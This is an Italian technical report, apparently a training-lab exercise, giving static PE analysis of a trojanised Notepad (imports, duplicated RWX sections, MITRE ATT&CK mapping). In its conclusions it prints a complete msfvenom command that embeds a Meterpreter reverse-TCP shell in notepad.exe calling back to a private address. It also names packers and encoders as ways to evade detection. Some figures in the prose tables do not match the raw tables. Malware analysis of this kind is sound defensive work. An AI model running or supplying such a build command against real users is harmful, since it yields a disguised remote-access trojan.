

REPORT TECNICO

Analisi dell'eseguibile: notepad-classico.exe (Modulo S9_L2)

Target Analizzato:

notepad-classico.exe (FlareVM - Cartella 'Malware')

Ambiente / Strumenti:

FlareVM, CFF Explorer, VirusTotal, Framework MITRE ATT&CK

Metodologia:

Analisi Statica PE (Portable Executable), Import Table & Section Header

1. Librerie Importate (Import Directory Table)

notepad.exe		
Module Name	Imports	OFTs
szAnsi	(nFunctions)	Dword
comdlg32.dll	9	000400C8
SHELL32.dll	4	000400F0
WINSPOOL.DRV	3	00040104
COMCTL32.dll	1	00040114
msvcrt.dll	22	0004011C
ADVAPI32.dll	7	00040178
KERNEL32.dll	57	00040198
GDI32.dll	24	00040280
USER32.dll	74	000402E4

Dall'analisi dell'Import Directory mediante CFF Explorer, il binario presenta le seguenti librerie a collegamento dinamico (DLL). Di seguito viene fornita la descrizione analitica di ciascun modulo e il relativo ruolo operativo:

Modulo / DLL	Funzioni	Descrizione & Rilevanza per l'Eseguibile
comdlg32.dll	5	Common Dialog Box Library: Gestisce finestre di dialogo standard di Windows (come 'Apri file', 'Salva con nome', 'Trova'). Tipica delle applicazioni grafiche come Notepad.
SHELL32.dll	1	Windows Shell API: Fornisce funzionalità per l'interazione con l'interfaccia grafica e il filesystem (gestione di icone, percorsi shell, trascinamento file).
WINSPOOL.DRV	1	Print Spooler Driver: Interfaccia per la gestione delle code di stampa e l'invio di documenti alla stampante, coerente con le funzioni di stampa di Notepad.
COMCTL32.dll	1	Common Controls Library: Implementa controlli UI avanzati (status bar, toolbar, controlli di scorrimento e finestre di supporto).
msvcrt.dll	22	Microsoft C Runtime Library: Fornisce funzioni base in linguaggio C standard (gestione memoria dinamica malloc/free, manipolazione stringhe, I/O e logica applicativa).
ADVAPI32.dll	7	Advanced Windows 32 Base API: Gestisce servizi di sicurezza avanzati, controllo accessi, gestione dei registri di sistema (Registry) e account utente.
KERNEL32.dll	71	Windows Core System API: Libreria fondamentale del sistema operativo. Gestisce allocazione della memoria (VirtualAlloc), gestione

		thread/processi (CreateProcess), sincronizzazione, gestione file di base e caricamento dinamico.
GDI32.dll	24	Graphics Device Interface: Gestisce la visualizzazione a schermo di testo, font grafici, linee e rendering grafico dell'editor.
USER32.dll	71	Windows User API: Gestisce finestre, finestre di messaggio (MessageBox), ricezione di input utente da mouse/tastiera ed elaborazione degli eventi grafici.

2. Sezioni del Portable Executable (Section Headers)

notepad.exe									
Name	Virtual Size	Virtual Address	Raw Size	Raw Address	Reloc Address	Linenumbers	Relocations N...	Linenumbers ...	Characteristics
Byte[8]	Dword	Dword	Dword	Dword	Dword	Dword	Word	Word	Dword
.text	00007748	00001000	00007800	00000400	00000000	00000000	0000	0000	60000020
.data	00001BA8	00009000	00000800	00007C00	00000000	00000000	0000	0000	C0000040
.rsrc	00008DB4	0000B000	00008E00	00008400	00000000	00000000	0000	0000	40000040
.text	0002B6AC	00014000	0002B800	00011200	00000000	00000000	0000	0000	E0000020
.idata	0000113E	00040000	00001200	0003CA00	00000000	00000000	0000	0000	C2000040
.rsrc	00008DB0	00042000	00008E00	0003DC00	00000000	00000000	0000	0000	40000040

Dall'esame della Section Headers Table in CFF Explorer, emergono anomalie strutturali critiche: l'eseguibile presenta sezioni duplicate (.text, .data, .rsrc). Questa configurazione è un forte indicatore di tampering e code injection.

Sezione	Virtual Size / RVA	Characteristics	Descrizione & Analisi Funzionale
.text (1)	0x7748 (0x1000)	0x60000020 (Code, Execute, Read)	Sezione di codice originale dell'applicazione Notepad legittima. Contiene il flusso di esecuzione standard.

.data (1)	0x1B48 (0x9000)	0xC0000040 (Init Data, Read, Write)	Dati globali e variabili statiche inizializzate appartenenti al programma base.
.rsrc (1)	0x8DB4 (0xB000)	0x40000040 (Resources, Read)	Risorse embedded del Notepad originale (icone, menu, finestre di dialogo, cursori).
.text (2) [!]	0x385A4 (0x14000)	0xE0000020 (Code, Read, Write, Execute)	ANOMALIA: Sezione aggiunta contenente il payload malevolo (Meterpreter). I permessi RWX (Read/Write/Execute) consentono sia l'esecuzione che l'auto-modifica in memoria.
.data (2)	0x119E (0x4D000)	0xC0000040 (Init Data, Read, Write)	Dati e variabili di supporto allocati per il payload iniettato.
.rsrc (2)	0x3D80 (0x4F000)	0x40000040 (Resources, Read)	Sezione di risorse secondaria aggiunta durante il processo di incapsulamento ed esportazione dell'eseguibile.

3. Mappatura Tattiche e Tecniche MITRE ATT&CK®

Tattica (Obiettivo)	Tecnica (ID & Nome)	Descrizione Operativa
Initial Access	T1566.001 Spearphishing Attachment	Metodo di consegna tipico tramite allegato email malevolo ingannevole per indurre la vittima all'apertura.
Execution	T1204.002 Malicious File	L'intera catena di attacco dipende dall'avvio del file notepad-classico.exe da parte dell'utente (esegue payload + notepad).

Defense Evasion	T1036.005 Masquerading (Name/Location)	Il malware si maschera da notepad.exe, programma di sistema legittimo e fidato, per ingannare l'utente ed eludere sospetti visivi.
Defense Evasion	T1027 Obfuscated Files/Info	Iniezione del codice tramite duplicazione delle sezioni (.text, .rsrc) per ostacolare l'analisi statica e confondere gli analisti.
Command and Control	T1095 Non-Application Layer Protocol	Comunicazione C2 diretta tramite connessione TCP raw per trasmettere e ricevere comandi operativi.
Command and Control	T1071 Application Layer Protocol	Incapsulamento dei comandi in un protocollo binario strutturato (TLV - Type-Length-Value) sopra il canale TCP.

4. Considerazioni Finali e Analisi della Minaccia

In base alle evidenze raccolte durante l'analisi statica dell'eseguibile notepad-classico.exe, è possibile formulare le seguenti conclusioni analitiche:

- **Genesi del Malware (msfvenom):** Il file è stato generato tramite Metasploit Framework utilizzando un template legittimo (notepad.exe). Il comando di creazione didattico identificato è:
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.50.100 LPORT=9001
EXITFUNC=thread PrependHonorIdentify=true -x notepad.exe -k -f exe -o notepad-classico.exe
- **Tipologia di Payload (Stageless):** È stato impiegato un payload di tipo stageless (windows/meterpreter_reverse_tcp). A differenza dei payload staged (piccoli stager che scaricano il core in memoria successiva), il payload stageless include l'intera logica di Meterpreter all'interno del file, aumentando la dimensione del binario e lasciando visibili numerosi indicatori statici (stringhe di testo e chiamate a librerie).
- **Comportamento Stealth / Masquerading (Opzione -k):** Il flag -k (keep) preserva il comportamento del programma ospite: all'avvio dell'eseguibile, la finestra del Blocco Note (Notepad) si apre regolarmente, mentre il payload malevolo viene eseguito contemporaneamente in un thread separato in background (EXITFUNC=thread).
- **Anomalie PE Rilevate:** La presenza di due sezioni .text, di cui la seconda possiede permessi completi di lettura, scrittura ed esecuzione (0xE0000020 - RWX), rappresenta una chiara 'smoking gun' di avvenuta iniezione di shellcode.
- **Strategie Difensive e Rilevamento:** Per ambienti di produzione reali, attacchi simili vengono resi più elusivi mediante packer, encoder multipli o payload staged cifrati. Per mitigare tali minacce, sono

raccomandati controlli di integrità dei binari di sistema (System File Checker/AppLocker), monitoraggio EDR su anomalie di allocazione memoria (RWX) e ispezione del traffico di rete outbound non autorizzato.